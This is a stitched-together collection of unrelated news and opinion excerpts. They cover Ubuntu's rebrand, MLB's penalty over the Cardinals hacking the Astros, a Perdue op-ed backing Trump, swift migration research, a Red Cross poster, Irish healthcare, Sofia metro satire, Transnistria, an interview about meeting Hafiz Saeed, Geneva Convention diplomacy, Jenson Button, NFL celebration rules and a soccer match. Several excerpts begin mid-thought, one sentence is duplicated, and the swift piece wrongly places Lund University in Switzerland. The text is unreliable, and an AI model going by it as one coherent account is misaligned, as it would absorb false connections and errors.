The theme change is part of a broader effort to redefine Ubuntu's visual identity, a move that could help make the open source desktop platform seem more professional and attractive to a mainstream audience. According to design documentation in the Ubuntu wiki, the new style was developed last year by Ubuntu founder Mark Shuttleworth and a team of designers. They chose "light" as the thematic concept behind the new brand identity. The new Ubuntu logo, which was also unveiled today, has a thinner font and a smaller icon.
"We're drawn to Light because it denotes both warmth and clarity, and intrigued by the idea that 'light' is a good value in software. Good software is 'light' in the sense that it uses your resources efficiently, runs quickly, and can easily be reshaped as needed," the design documentation says. "Visually, light is beautiful, light is ethereal, light brings clarity and comfort."
Another GtK theme
The new logo and colors will be rolled out to the Ubuntu website. The logo will also be featured in the new boot splash screen for Ubuntu 10.04. The updated GNOME theme will include an aubergine desktop and gray widget styling. The orange "Humanity" icon theme will apparently be retained during this cycle. Two variants of the GNOME theme are displayed on the Wiki page, one with black menus and panels and another with light menus and panels. It's unclear at this time which one will be the new default. These designs are still at a relatively early stage and will undergo further refinement prior to the official release.
Making Linux beautiful
When Ubuntu founder Mark Shuttleworth gave his memorable keynote at OSCON in 2008, he articulated a vision of building a Linux desktop with industry-leading design and unbeatable usability. He promised that Canonical would invest in a broad effort to make Linux beautiful.
"I think the great task ahead of us over the next two years is to lift the experience of the Linux desktop from something that is stable and robust and not so pretty, to something which is art. Not emulate, but blow right past Apple in the user experience we deliver to our end users," he said at OSCON in 2008.
A few months after that speech, Canonical launched the Ayatana project, a broad initiative to improve the usability of Ubuntu and upstream open source software projects including the GNOME desktop. Canonical assembled a team of professional usability and design experts to take on the task. Ayatana has delivered tangible results, including an enhanced desktop notification system and a multitude of minor improvements to usability and consistency throughout the desktop.
What we have now, though, are two penalties that have drawn similar reactions within the league. Many teams and team-people thought the Padres got off way too easy when A.J. Preller was suspended a month for withholding medical information in trade talks. And now, there’s a similar consensus belief about the penalty dealt to the Cardinals for Chris Correa’s repeated hacks of the Astros. Everyone had been waiting for a while to see how baseball would deal with an unprecedented conduct violation. In the end, the Cardinals are out a couple draft picks.
Baseball itself had to wait until it could impose any sanctions. Federal investigators got first priority, and only over the weekend did we learn a final ruling was close. Correa as an individual had already been given a jail sentence. Here are the full details of MLB’s discipline:
Cardinals send Astros $2 million
Cardinals send Astros draft picks No. 56 and 75 (top two picks available)
Correa placed on the permanently-ineligible list
There’s nothing surprising about the last bullet — Correa wasn’t going to get another baseball job again. There was more mystery about the first two bullets. Nathaniel Grow wrote about possible penalties all the way back in June of 2015, and this is in keeping with his analysis. There was never going to be, say, a postseason ban. There would be a lost job, or lost jobs, and there would be a fine. As Grow wrote, “the commissioner cannot fine an MLB team more than $2 million for any single offense.” That not being sufficient, MLB has also taken a couple picks. All a draft pick is to a team is money in a different, more human-like form.
I think it was inevitable it would come down to money and picks. It was simply a question of how much, and based on baseball’s investigation, Correa acted alone. As such, they didn’t want to treat the Cardinals too harshly, but what’s happened is that they probably went too soft as a consequence. I don’t personally know that many people in the game, but they’ve had the same response. Buster Olney knows a lot more people in the game. He used the words “shockingly light.” While this case was unprecedented, within major-league baseball circles, that’s all the more reason to err toward something tougher. By definition, this case was going to set a precedent, and the response suggests this isn’t a strong-enough deterrent.
To be clear, Correa is in jail. That’s a good deterrent. And there’s no history of picks being taken from one team and given to another, compensation picks aside. This is a first, and we all know how organizations value young players higher than ever. What really colors things in this case is that, from the outside, it looks like the Cardinals get to benefit from having already surrendered a high pick to sign Dexter Fowler. While it’s impossible to say what might’ve happened under other circumstances, it’s likely the Cardinals would’ve had to give up their top two picks no matter what. The penalty, then, could be considered reduced, because the Cardinals opted to sign a valuable free agent. That doesn’t make a lot of sense, and as you probably already knew, draft picks, on average, lose their value fast.
The best draft picks are the earliest draft picks. That’s how it’s supposed to work, but the historical drop-off is extreme, after the earlier part of the first round. The Cardinals are forfeiting a pick in the back half of the second round, and then the last pick between the second and third rounds. Nothing is ever perfectly demonstrated by a single anecdote, but consider the Rays draft in 2011, when they had 12 of the first 89 picks. They also had none of the first 23. From that whole crop, the Rays have gotten Blake Snell, and then no one better than Mikie Mahtook. The picks the Cardinals are losing simply aren’t that valuable, and any real value, anyway, wouldn’t materialize for a number of years. You could estimate that, overall, this violation has cost the Cardinals an employee and something like $5 – 10 million.
Maybe that’s okay with you — I don’t know. I can’t exactly say what’s fair, because this had never happened, so there isn’t an outline of how to proceed. It’s also impossible to determine to what extent the Cardinals organization benefited from the information Correa took. It’s not like he kept it all to himself, and it’s not like he was un-influenced by what he saw. On the other side of the same coin, we don’t know how badly the Astros were hurt. Yet I’m also not sure how much that matters. At the end of the day, this was one team employee hacking into another team’s database. Said employee repeated his act dozens and dozens of times. Baseball would’ve been under pressure to send a forceful message, and it would appear, in that regard, they’ve failed.
Georgia GOP Sen. David Perdue says Republicans should be embracing Donald Trump not running away from him. REUTERS/Lucas Jackson TPX IMAGES OF THE DAY
The Outrage Machine is regular opinion column by voices from the left and right on Washington.
Republican voters have sent the Washington establishment a message in the form of our presidential nominee. It is loud, and it should be clear.
Yet, a small enclave of career politicians within our party is still struggling to understand the mass appeal of Donald Trump. These D.C. insiders are so caught up in the Washington bubble that they failed to realize the world around them has changed.
For too long, career politicians have over promised and under-delivered. The constant gridlock and lack of results in Washington is unacceptable. We have a political system that protects those in power and leaves the American people behind.
Georgians sent a strong message to the establishment in my Senate race by electing an outsider to the political process. We now see that same movement sweeping across the country, and we should welcome it.
Two short years ago, I was an outsider businessman campaigning for the first time and endured some of the same criticisms being leveled against Mr. Trump today. Through my own experience, I probably understand the Trump phenomenon and the new reality of this electorate better than most.
In my race, the establishment types said I wasn’t Republican enough. They warned the party faithful that I hadn’t paid my political dues and that voting for me would be risky. Never mind the fact I had spent my career running major companies and creating jobs, versus running for political office as a full-time job.
People listened when I spoke in business terms out on the campaign trail about the national debt and global security crisis – instead of reciting tired old GOP talking points. Instead of the usual Washington Beltway babble, I spoke plainly to people about their concerns with the economy and jobs, and their frustration with Washington.
The antiquated tactics that were used unsuccessfully against me have been deployed against Mr. Trump, and the voters responded in similar fashion. They ignored the preachy pundits, the ideology police, and the Washington establishment. They chose a different type of candidate because they believe to get different results, you have to send a different type of person to Washington.
Mr. Trump’s nabbing of the presidential nod embodies a dramatic shift in the political paradigm. Many voters are now more motivated by their frustration with Washington than their ideology. As I’ve said all along, this movement is bigger than party or ideology, or even, dare I say, Trump himself. However, I’m not dismissing the incredible skill set our nominee possesses.
Through straightforward, unapologetic criticism of the powers-that-be, Trump has tapped into the anti-Washington sentiment. Anyone who read ‘ Through straightforward, unapologetic criticism of the powers-that-be, Trump has tapped into the anti-Washington sentiment. Anyone who read ‘ The Art of the Dea l’ shouldn’t be surprised by his technique or his success.
The negotiation strategy outlined by Trump the Dealmaker in his signature book gives key insight into Trump the Campaigner. He is focused on the American people’s shared frustration with politicians, bureaucrats, and the media. He is bold and unpredictable, always keeping the opposition off balance. And he is a master of earned media.
The undeniable talent that Mr. Trump displayed while navigating a massive 17-person primary will become even more evident in a head-to-head matchup this fall. One by one, he picked off the best and brightest the Republican establishment had to offer and motivated more people to go to the polls in the primary.
He is the only true outsider running for president. Now, he can focus on dismantling the Republican Party’s real opponent, Hillary Clinton.
While unpredictability shakes those conditioned to protect their own power, anyone who still has doubts about Mr. Trump should stop agonizing for a minute, take a deep breath, and at least contemplate the value of having such a unique asset at the top of our ticket.
Fortunately for our party, Trump is a nominee unlike anything we have ever seen. Based on everything we’ve witnessed to date, Mr. Trump is not going to walk into the Democrats’ traps or take their bait. He will play his own game, one that he intends to win.
As Republicans, let’s not lose sight of our shared mission to change the direction of our country. That’s why we worked so hard to win the Senate majority in 2014. To affect real change, we must keep the Senate majority and win the White House in November.
Our country simply cannot afford four more years of the liberal, progressive policies that have failed the working middle-class of America. Clinton has committed to doubling down on these failed policies. We certainly cannot withstand losing the Supreme Court for a generation.
No longer: Now there’s a new record holder, and this bird absolutely obliterated the Alpine's previous record. According to new research, Common Swifts can stay in the air for up to 10 months without stopping. Yes, 10 months. While scientists have long suspected that the bird might be capable of such a staggering achievement, they only recently had the tools to prove it.
Smaller than an Alpine Swift and slightly bigger than a Chimney Swift, Common Swifts are as well adapted for flying as their aerodynamic cousins. Mated pairs raise their chicks in Scandinavia for two months each year before taking off in August to feed on flying insects in the sub-Saharan jungles of Africa for the next 10 months. For decades, though, ornithologists couldn’t find any signs that the birds were roosting in their winter home. The species' flying efficiency combined with the mysterious absence of roosts led some scientists to theorize that the Common Swift remained in flight during most of its migration. However, the technology they needed to study the birds didn’t exist.
Then came the iPhone.
Interestingly enough, innovation in the race to build thinner, sleeker mobile phones has also been a boon for bird research, says biologist Anders Hedenström, who led the team of researchers from Lund Unversity in Switzerland. The tiny accelerometers that steer smartphone users around the streets of an unfamiliar city have also been put to work in the past decade tracking birds in motion.
To find out what exactly the Commons Swifts got up to during those 10 months, Hedenström and his team paired an accelerometer and a light sensor in a bird “backpack” that weighed less than half an ounce. The team then attached the compact data trackers to the backs of 13 individual Common Swifts before the birds set off on their round-trip voyage to Africa. The backpacks allowed the team to record how much time the swifts spent in flight and where they travelled, without interfering with the birds’ natural behavior.
When Hedenström’s team recaptured returning birds over the course of two years, they were able to prove the hypothesis of their predecessors: Common Swifts rarely stopped to rest during their intercontinental trek, and three of the birds never landed at all during the entire 10-month journey.
“That’s quite amazing, I think, that the bird can remain airborne for such a long time,” says Hedenström, whose research was published last month in Current Biology. “It is very much an aerial life when they are away from the breeding area.”
That aerial life includes only a few interruptions. The birds that did land during their migratory trips still spent more than 99 percent of that time in flight. Their stops never amounted to more than one or two hours at a time, Hedenström says. He also points out that this is probably for the best.
“They are pathetic when they are grounded,” he says, noting that the swifts’ short legs make them appear awkward and almost wounded. “They look really clumsy and will easily become victims for predators on the ground.”
Common Swifts have evolved to essentially live in the air, where they can eat, drink, mate, and likely even sleep from the time they depart from Scandinavia in August until they return to breed in June. How and when they sleep is a question that Hedenström and his team are still trying to figure out. One idea is that the birds take brief naps during daily dawn and dusk ascents to altitudes of 10,000 or more feet, after which they gradually glide down.
“If I’m allowed to speculate, this is the time during this downward spiraling flight when they take brief sleep periods," Hedenström says.
In contrast, Great Frigatebirds take their brief naps while spiraling upwards on thermal drafts; both scenarios allow the birds to rest while doing the minimal amount of work needed to keep flying. But because the neurologger implant used to discover the frigatebirds’ sleep patterns is too heavy for the 1.5-ounce Common Swift to bear, Hedenström and his team will have to wait to verify this theory.
The poster, which has since been taken down, read: "Be Cool, Follow the Rules." Below the text showed children playing. The white children were labeled as behaving "cool" while children of color were depicted as misbehaving, or "not cool," for breaking pool safety rules.
American Red Cross has since confirmed that it has discontinued the production of the poster and has already removed it from the hospital's website and Swim App.
"The American Red Cross appreciates and is sensitive to the concerns raised regarding one of the water safety posters we produced," the hospital released in a statement to NBC News. "We deeply apologize for any misunderstanding, as it was absolutely not our intent to offend anyone. As one of the nation's oldest and largest humanitarian organizations, we are committed to diversity and inclusion in all that we do, every day."
"Going forward, we are developing more appropriate materials that are more representative of our workforce and the communities we serve," the statement continued. "Our aquatic instructors have been notified of these concerns and we will advocate that our aquatic partner facilities remove the poster until revised materials are available."
Despite the hospital's efforts, some people are still not satisfied with the response.
"I'm just a citizen, I'm not an organization, but I would want the Red Cross to collaborate and build relationships with Black Kids Swim and other organizations that do advocacy around this so that this doesn't happen again," said said Margaret Sawyer, the former executive director of the Mixteco/Indigena Community Organizing Project. "Clearly, they're thinking of themselves as only having one constituency and that's not true."
Sawyer had taken the photo after seeing the poster twice while traveling with her family in Colorado over the weekend. She is now mobilizing efforts to send formal letters to Red Cross and to the mayors of both cities, Salida and Fort Morgan, to demand that the posters be taken down and replaced at pools nationwide.
Read the full story on NBC News.
Rhona Mahony also called for the Eighth Amendment to the Constitution, which gives equal right to life to the mother and the unborn, to be repealed “for a variety of reasons relating to women’s health”.
Dr Mahony made her comments during a speech on the health service on the second day of the Labour Party think-in in Athy, Co Kildare.
“The system is pretty toxic, you have long hours, a lot of pressure and not enough staff,” she said.
“Practising medicine is brilliant, it’s a brilliant job. Six years in [as master] I’m exhausted but I love going to work. But you have to ask why so many doctors being trained here are leaving the system.”
Fertility rate
Dr Mahony, who has been master at Holles Street since 2012, also said women cannot continue travelling to England to have abortions.
“We have in Ireland terminations only when there is a substantial risk to the life of the mother that can be removed only by terminating the pregnancy,” she said. This poses difficulties, she said, because doctors are making decisions based on risk.
“This poses great difficulties prior to foetal viability because we are making decisions based on risk, trying to quantify a risk and also in some cases we have to wait until a woman is sick enough to qualify. In some cases, that is medical roulette.”
Short political cycles
A part of the problem, she said, was a “disordered infrastructure” that does not suit modern medicine.
Since the subway extension to the airport is scheduled to launch in April, an increased influx of foreigners is expected in town, according to an official statement released Monday.
Therefore, the municipality and the government-owned company Metropolitan decided to ensure the good travelling experience of non-locals.
Citizens of the capital, however, in a typically mocking manner, have immediately responded with their own satirical versions of ''more accurate English versions''.
The names of subway stops have been translated satirically with political and pop-culture references in a publication of the Facebook page When You Live in Sofia.
The updated version of the bilingual subway map has gained lots of popularity over the past several hours.
The stops along the city living complexes Nadezhda 1,2,3 and 4 have been translated in a downward gradation as ''The Pursuit of Happyness'', ''Last Hope'', and ''Hopeless''.
The European Union station has been re-named to ''Soviet Union'', Izgrev ( literally Sunrise) - as ''Ain't No Sunshine'', the largely Roma-populated neighborhood Filipovtsi - ''Die Hard'', and one of the largest living complexes in Sofia - Lyulin has received the name ''United Panel States''.
From 1940 to 1991, Moldova was the Romanian-speaking republic in the USSR. In 1992, after it had declared independence from Russia, a civil war broke out, creating Transnistria on the east bank of the river. It has no status under international law and, as Alexandru discovered, the rule of law itself is scant.
Last week Nato's commander in Europe named Transnistria the next flashpoint between Putin and the west. It is home to 2,000 Russian troops and an arms dump that could, if called for, resupply an entire army of Russian troops, should it make the journey across neighbouring Ukraine. That's what the generals are worried about.
I visited Transnistria last week, filming without permission, with an edgy driver in a beat-up car, telling the border guards I wanted to see a football match. The first clue that the picture would be complicated came at the Moldovan border village of Bulboaca. Like much of Moldova, it is a poverty-stricken landscape of tumbledown shacks, crumbling apartment blocks, dogs, chickens, kids and old women. "It was better in Soviet times, believe me," said one of the women. "It is better in Transnistria," said another. Twenty years of orientation to the west has left Moldova the poorest country in Europe, with one third of adults in villages like this working abroad.
To cross into the Russian enclave you go through three checkpoints, manned by the Moldovan police, the Russians and the Transnistrian army itself. Despite this high security, the enclave has been named a major centre for organised crime, with tobacco- and alcohol-smuggling top of the list, and money laundering alleged. But – and here's what the geo-politicians tend to ignore – it is tangibly better-off.
Yes, there are monuments to Lenin. Yes, the supreme soviet is dominated by a political party aligned to a football club. But what's important to the women in headscarves in the estate I visited, once you get to -30C on a winter's night, is the gas price. Thanks to Vladimir Putin, it is negligible. Pensions are higher than in Moldova. And there is employment: the army pays $300 (£180) a month and sustains a military-related economy.
So while the west thinks of this as a rogue, crime-ridden military outpost, in the region itself there is an upside. While I was there, a village across the border in Moldova even held a demonstration demanding to be allowed to join the Russian side.
While there are language issues – Romanian schools in the Russian enclave are being harassed by the authorities and pressured to close – the real battle is economic. "Putin cares about us" was the theme of conversations I had on both banks of the river, while "Europe could not give a toss".
Alexandru Ursu's case shows the stakes for individual people. In 2007, the flat he had bought inside Transnistria was seized by the police. They claimed he had duped the seller. They threw him in jail, suffocated him with a gas mask and beat him so badly that he was hospitalised. They forced him to sign a confession and he spent three years in jail. "The flat was occupied by the policeman who arrested me," he says. He was released after international pressure and his case is currently before the European Court of Human Rights.
The jails are full of people trying to scrape together 100,000 rubles (£1,700) to pay what is effectively a ransom to get them out, he alleges.
I stood on the bank of the Dniester thinking about the 150,000 Red Army casualties in the operation to cross here in 1944. If this is to be a new cold war, and the river a new Berlin Wall, then the west needs to know what the stakes are. For men like Alexandru, and others still trapped in Transnistrian jails, a diplomatic freeze would be the end of western leverage. Putin's call on Sunday for the regularisation of the enclave's status would, paradoxically, put human rights on a more stable footing. Moscow's standard response to petitions from people jailed there is "we don't control it".
On the Moldovan side, where the grey flag of poverty trumps all other symbols, Europe needs to decide what its offer is. It's likely Moldova will be given a security guarantee and drawn more into the EU's orbit. But "send your daughters to sweep our floors while we destroy your way of life with agribusiness" never sounds great anywhere. Here, on the new faultline of Europe, they will have to come up with something better.
Paul Mason is Culture and Digital Editor, Channel 4 News. His report from Transnistria will be shown on Tuesday 1 April at 7pm.
You describe yourself as a journalist, a social activist, a political thinker and orator. In which avatar did you meet Hafiz Saeed?
I'm a human being. If I meet anybody, all my forms are integrated. When my mind thinks, it thinks like a visionary, a patriot, a journalist. When I meet anyone worth knowing, all my forms start functioning but when they meet me, they meet me as a journalist.
You sought the meeting with Hafiz Saeed? He has always been reluctant to speak to an Indian journalist.
I didn't seek the meeting. I was with a few Pakistani journalists and I told them that the army's campaign against terror in Waziristan should have happened a lot earlier and that the fight against terror should also be aimed at those working against India. I took the name of Hafiz Saeed and the Haqqani brothers. They said they could try and fix a meeting for me and I also told them that they should first ask him if he knows me. I said I don't want to meet anyone as an unknown man. The meeting was fixed at the spur of the moment. The Pakistani journalists joked with me and said there might be a drone attack because he is wanted by America and I said, 'if this old man dies in a drone attack, never mind.'
Read: Track 2: keeping the Indo-Pak conversation going
Do you think Hafiz Saeed met you because of your perceived proximity to Prime Minister Narendra Modi?
Maybe. I can't deny it. Those who watch Indian news channels have the impression that I'm close to the establishment in India. But let me also say that the closest power to me is the truth and national interest. Nobody is above truth and national interest.
The Pakistani press has reported that you sought the meeting saying you are close to Modi?
It would be shameful for me to seek an interview saying I'm close to Modi. Yes, I am close to Modi since I initiated his name as prime minister. After his third electoral victory in Gujarat, I was the first one to say 'pradhan mantri ke dwar par Modi ki dastak' (Modi is knocking at the doors of prime ministership). Time and again I had said the corrupt UPA government must go. See, leaders of neighbouring countries treat me like a professor.
But you were not meeting a state leader, you were meeting the man considered to be the mastermind behind the Mumbai attacks. Ajmal Kasab even described a training session at which Saeed was present.
My main motive was to know the man. I didn't expect our meeting to last more than 10 minutes. I wanted to know his thinking process and his plans. More than an interview, I wanted an internal view of the man.
What is inexplicable is that you meet India's most wanted and don't file an interview.I have tried many times to interview him but have failed. I was asked to send a questionnaire but the feedback was that 'It had been drafted in RAW's headquarter'.
You are not asking me about my interview with prime minister Nawaz Sharif? I met him also. I am not a reporter. I will file a column.
Read:Indian High Commission not aware of Vaidik-Hafiz meeting: Sushma
Nawaz Sharif is not a terrorist. On hindsight, would you say that it was a mistake to meet Hafiz Saeed?
Not at all. It was an act of great courage. It was a scoop of scoops. Parliament of India has never been stalled for days like this. I never thought my meeting would snowball into such a controversy. I am proud of it.
Given a chance, would you meet Hafiz Saeed again?
Surely, I'll meet him again. I've met other terrorists too like Prabhakaran (LTTE) and other Taliban leaders.
Journalists have the right to interview terrorists but you have not yet put the interview in the public domain. Instead, would you agree, you have only embarrassed the government?
It's a flimsy argument. The Congress is totally bankrupt and it's they who wanted to embarrass the government. They know that journalists have a right to interview anyone.
The Congress asked a legitimate question - whether you had been asked by the BJP to meet him to test the political waters? Were you on a Track 2 mission?
I wish the BJP had asked me but they hadn't. I can take an oath in the name of my daughter that they did not.
Has the BJP now closed its doors on you? Will the meeting affect your access to Modi?
What does that mean? What can they do by closing the door? I've never cared for access. I'm too self-respecting a man. All prime ministers since Indira Gandhi have known me. My access to any of them has not benefitted me. What will I lose if they don't talk to me?
Read:Shiv Sena attacks BJP on Vaidik
Do you think Hafiz Saeed is a terrorist?
Yes, that is my firm impression. I told him too that America thinks the same and that their belief is not propaganda. I also told him - 'Do you think the Indian dossiers are false?'
You said you wanted to probe his mind. What impression did you come away with?
Initially, I thought he would pick up a quarrel and I was wondering why I came to see him. He was staring at me and the first 10 minutes were very tense. I kept putting straight questions but he didn't lose his cool. He kept asserting that he was not involved in 26/11. I told him innocents had been killed and he was guilty. He said the courts had acquitted him and I said, 'So what? You say you are a jehadi and you should judge yourself by your conscience.' I told him the Quran too is against violence. In fact, I told him he should have the courage to confess that he is guilty of propagating violence and if you don't have the courage, then you should ask for forgiveness. I asked him why he was arrested if he was not guilty and he said Pakistan's interior minister Rehman Malik was against him and the Zardari government used his arrest to get aid from America.
Tweeting about his meeting with you, Saeed said you asked him if he would protest against Modi going to Pakistan and he said he was not into protests…
He is quite close to the truth. I told him, give India an excuse (bahana) to pave the way for a Modi visit. I told him to support Pakistan giving India the Most Favoured Nation status. He said, 'Nawaz Sharif went to India. What excuse did India give him?' and I said 'Modi's swearing-in was the bahana.' He said he would welcome Modi and I was surprised and again asked, 'You will welcome Modi?' and he said, 'As Muslims, we don't insult our guests.'
Saeed seems to have outsmarted you and used you to give himself a clean chit. Do you think you were used by him?
I don't call myself smart but I told him what no American ambassador or United Nations official could have told him. Sitting in his house, in his den, I told him he must ask for punishment for perpetrating violence. Gunmen were standing there. Anything could have happened.
Read:Vaidik booked for sedition for meeting Hafiz Saeed
By meeting Hafiz Saeed - and still not putting out an interview - you seem to have made him a stakeholder in the India-Paksitan relationship when he is only a terrorist.
This never occurred to me. It's a brilliant question.
You are being sarcastic?
No. I'll answer it. I am too ordinary a man to make him a stakeholder. I can only hope that my meeting him brings about a change of heart in him.
You think one meeting will change an indoctrinated jehadi's heart?
There is a chance. Every devil has a human being in him.
The NIA may question you soon. Are you scared of being charged with treason as the Shiv Sena has demanded? They want you equated with Afzal Guru and Ajmal Kasab.
If I can answer Hafiz Saeed's questions, why not the NIA? I have been answering questions since I was a young boy. The Shiv Sena's views are based on misinformation put out by channels who used me for their TRPs by indulging in the worst kind of journalism. I never asked for an independent Kashmir. What I said was independence would be dangerous for India and Pakistan and worse for Kashmir.
Many feel you are a publicist and that meeting Saeed was aimed at getting publicity. You did put out your picture with him but not the interview.
I don't care for publicity. I have never pursued money, fame or power. People say that out of jealousy.
Israel, along with allies the United States, Canada, and Australia are attempting to dissuade nearly 200 states that make up the Fourth Geneva Convention from convening a special session in regard to the Israel-Palestinian conflict.
The special session, slotted for mid-December would address the conditions of Palestinians living in Judea and Samaria, the Gaza Strip, and eastern Jerusalem, Israeli and Western diplomats told Haaretz Wednesday.
The Fourth Geneva Convention, adopted in 1949, deals with the protection of civilian populations residing in areas of armed conflict or military occupations. The treaty forbids harming civilians and decrees that the occupying power must uphold the human rights of the civilian population.
While Israel is party to the convention, the Knesset has never legislated the treaty into Israeli law. Israel dos not consider the treaty applicable to Judea and Samaria, as well as any part of Jerusalem, for it considers these areas to be "disputed," and not under so-called occupation.
Government officials believe that Switzerland, the convention's sponsor, has come under strong pressure from the Palestinian Authority as well as Arab states to proceed with the session. Switzerland is expected to issue invitations to the conference within days.
In the aftermath of failed peace negotiations in the spring, Palestinian Authority Chairman Mahmoud Abbas wrote to the Fourth Geneva Convention asking for the special session.
The Swiss consulted with other signatory states to determine if there was enough interest in holding the conference. They proposed a three-hour conference at the ambassadorial level to discuss the upholding of the Fourth Geneva Convention's stipulations.
The conference will have few speeches and no media coverage except for a statement to the press to be released only at the end of the meeting.
“We made it clear we didn’t want a political event or debate club, or a conference that would blame or criticize one of the sides,” a Swiss diplomat said.
Israel, however, objected strongly to the move. Senior diplomats have spoken to Geneva several times in an effort to persuade the Swiss Foreign Ministry not to hold the session. Israel has said it will boycott if the convention is held.
“They told us that holding the conference would help a one-sided Palestinian move intended to make Israel look bad and attack it in an international forum,” the Swiss diplomat said.
The United States, Canada, and Australia have also begun exerting pressure on Switzerland and other countries to thwart the conference. Although, the US has yet to make a formal decision, officials told Switzerland they too would boycott the conference. Canada offered a similar message.
The event, held at the similarly iconic Laguna Seca circuit, represents all that is good and glorious about classic motorsport in the United States, with more than 550 historic vehicles on the entry list for the weekend.
For Jenson, who notably drove the M23 at Silverstone and in London’s Leicester Square at the premiere of the Rush movie in 2013, the Monterey event will mark his first outing in Formula 1 machinery since hanging up his helmet in Abu Dhabi at the end of the 2016 grand prix season.
Speaking about the event, Jenson said:
“It’s always special to drive a Formula 1 car with such an illustrious past, and the M23 wrote a significant chapter in grand prix history during the 1970s. It’s a somewhat strange sensation to drive a car from this era – you sit much more upright in the cockpit, and you feel like you could almost reach out of the cockpit and touch the front wheels.
“But, once you drive it, you quickly start to understand what made the M23 so successful – it’s incredibly easy to drive, has a really consistent balance, and plenty of feel: everything you put into it, you get out of it, which is very rewarding for a driver.
“I can’t wait to show this car off to the thousands of fans and aficionados at the Monterey Motorsport Reunion this summer.”
The McLaren M23 contested 80 grands prix between 1973 and ’78, winning 16 races and three world championships (1974 drivers’ [Fittipaldi] and constructors’; 1976 drivers’ [James Hunt]).
Gill Campbell, CEO and general manager of Mazda Raceway Laguna Seca, added:
“We are honoured to host Jenson Button and the McLaren Formula 1 team at the Rolex Monterey Motorsports Museum. Formula 1 has deep roots in the 60-year history of Mazda Raceway Laguna Seca. These exhibitions will provide a great link between motorsport’s past and present.”
Don’t twerk. Don’t pretend to shoot a bow and arrow. Don’t even think about playing basketball with a football. And, never take your helmet off.
“Hugs are always legal,” Dean Blandino, the NFL’s senior vice president for officiating, said in an explanatory video earlier this month.
Not a hugger? No problem. You have options.
“This may seem crazy, but you can always just hand the ball to an official,” Blandino also said in the video sent to news media and teams.
The league’s crackdown on celebrations has resulted in more unsportsmanlike penalties. There have been 22 taunting penalties through Week 7, up from 13 at this point in 2015 and double the total after seven games in 2014.
“The rule hasn’t changed in terms of what is and what isn’t taunting,” Blandino said, adding referees were advised to make it a point-of-emphasis call. “Fouls go up initially, and then as the players start to regulate their behavior and they understand where the bar is, we start to see the foul numbers go down.”
But many players and fans don’t understand why the league cares so much about celebrations. They’re quick to call it the “No Fun League.”
San Francisco 49ers wide receiver Torrey Smith criticized the league last week in a series of tweets after former Giants kicker Josh Brown was placed on Commissioner Roger Goodell’s “exempt” list because police documents revealed Brown admitted to repeatedly abusing his former wife while they were married.
“Celebrating a TD will get you fined but being an abuser can keep the checks coming in,” Smith wrote on Twitter. “Gotta start taking the things that are important serious….and be consistent with the investigation and punishment.”
In his video, Blandino said: “We’re not trying to legislate emotion out of the game. Sportsmanship and player safety are the two top priorities in the game today.”
No doubt, Billy “White Shoes” Johnson’s dancing, the Ickey Shuffle, the high-fiving Fun Bunch and Mark Gastineau’s sack dance wouldn’t be tolerated. Terrell Owens and Chad Johnson would’ve been ejected for their creative celebrations.
“We talk about, we want to grow the business of the NFL and revenues,” Jets wide receiver Brandon Marshall said. “We see growth from 10 billion to 20 billion (dollars) by the end of 2022. We need more of that. We need guys to come out of the box. We need Antonio Brown twerking in the end zone. Kids shouldn’t be fined for that. Guys should go out there and wear colorful cleats. That’s our culture right now. This is this new era, this hip-hop and lifestyle era. We need to embrace that. You can’t just put guys in a box.”
Blandino explained that Brown was penalized for twerking because it was “sexually suggestive” and sends the wrong message to youngsters watching the sport.
“We don’t want that out on the youth football field,” Blandino said. “That’s not the image we want to portray.”
Dancing is fine — for the most part.
Victor Cruz is known for doing the salsa after he scores, but Odell Beckham Jr. drew a penalty for dropping to his knee and taking a pretend photo of his teammate.
“The salsa was fine but taking a Polaroid was choreographed,” Blandino said. “If we let this go, players will try to outdo each other and it will lead to other things like players stomping on logos and players hitting players who stomp on logos, so we have to continue to maintain the standard of sportsmanship and professionalism that the NFL stands for.”
Saints wideout Brandin Cooks tweaked his Bible-themed TD celebration after Redskins cornerback Josh Norman was fined for mimicking a bow-and-arrow shot following an interception.
Inspired by Psalm 144:6 — “Send forth lightning and scatter the enemy; shoot your arrows and rout them” — Cooks used to celebrate TDs in a similar way by shooting an imaginary bow and arrow. Now, he pretends to pull the arrow from his back but doesn’t follow through with the shooting motion, kneels down and raises both arms toward heaven .
“What it’s essentially for is God, thanking him and being able to glorify him in a different way than just crossing my chest,” Cooks said.
Cooks was never fined for his celebration, but stopped it after Norman’s fine because he didn’t want to risk a penalty. Smart move because Blandino said players will be penalized for “anything that mimics a violent act or weaponry whether it’s directed at an opponent or not.”
Norman was exasperated after teammate Vernon Davis drew a penalty for shooting a jumper with the football over a goal post following a TD. Using the ball “as a prop” is illegal. The 15-yard penalty assessed on the kickoff led to a shorter kick that was returned 86 yards for a score by Philadelphia’s Wendell Smallwood.
“When is enough, enough? Fans want to see excitement,” Norman said. “They work their tails off during the week. They go to work 9-5 and they get a day off on Sundays to come out here and watch their team put on a show. We are entertainers, whether you like it or not.
“We want to have fun with the game, but it’s like, ‘Come on, man!’ Who’s in the office calling these calls? Who is making this stuff? It’s ridiculous. If they want to say I’m outspoken about it, so be it, because this is what we do, man. Gladiators in the sport back in the day, they celebrated, they had their time, so why can’t we have ours? It’s just, I don’t understand it. I really don’t.”
Norman later suggested he would pretend to tap a beer keg as a future celebration to mock the league’s “hypocrisy” for their beer sponsorship.
“He has a point,” Cooks said.
Beckham is a frequent offender, though his marriage proposal to the kicking net on the sideline two weeks ago was within the rules. Beckham was flagged and later fined for taking off his helmet after exiting the end zone while celebrating his winning 66-yard touchdown before he approached the net.
“They fine me for smiling,” Beckham said.
Not quite, but almost.
AP Pro Football Writers Howard Fendrich, Arnie Stapleton and Teresa M. Walker and AP Sports Writers Brett Martel, Dennis Waszak Jr., Steven Wine and John Wawrow contributed to this report.
AP NFL website: www.pro32.ap.org and www.twitter.com/AP_NFL
Box Score
Tissot earned the left back starting spot in his second cap of 2017, logging a strong 67 minutes of playing time for his country. Forward Fraser Aird’s 11th-minute goal gifted Canada an early lead, but Scotland found the equalizer in the 35th minute and took over the match’s momentum. While the Scottish attack continuously threatened the go-ahead goal, the Canadian back line hunkered down and did well to maintain a compact defense, stifling Scotland’s chances and preserving the draw.
Tissot helped solidify the back line that was forced to defend for much of the match as Scotland out-possessed Canada 63.1% to 36.9%. When the Canadians were able to move out of their defensive third, Tissot partnered well with Junior Hoilett on the left wing, smoothly transitioning into the counterattack and creating opportunities from the left flank.
Stats
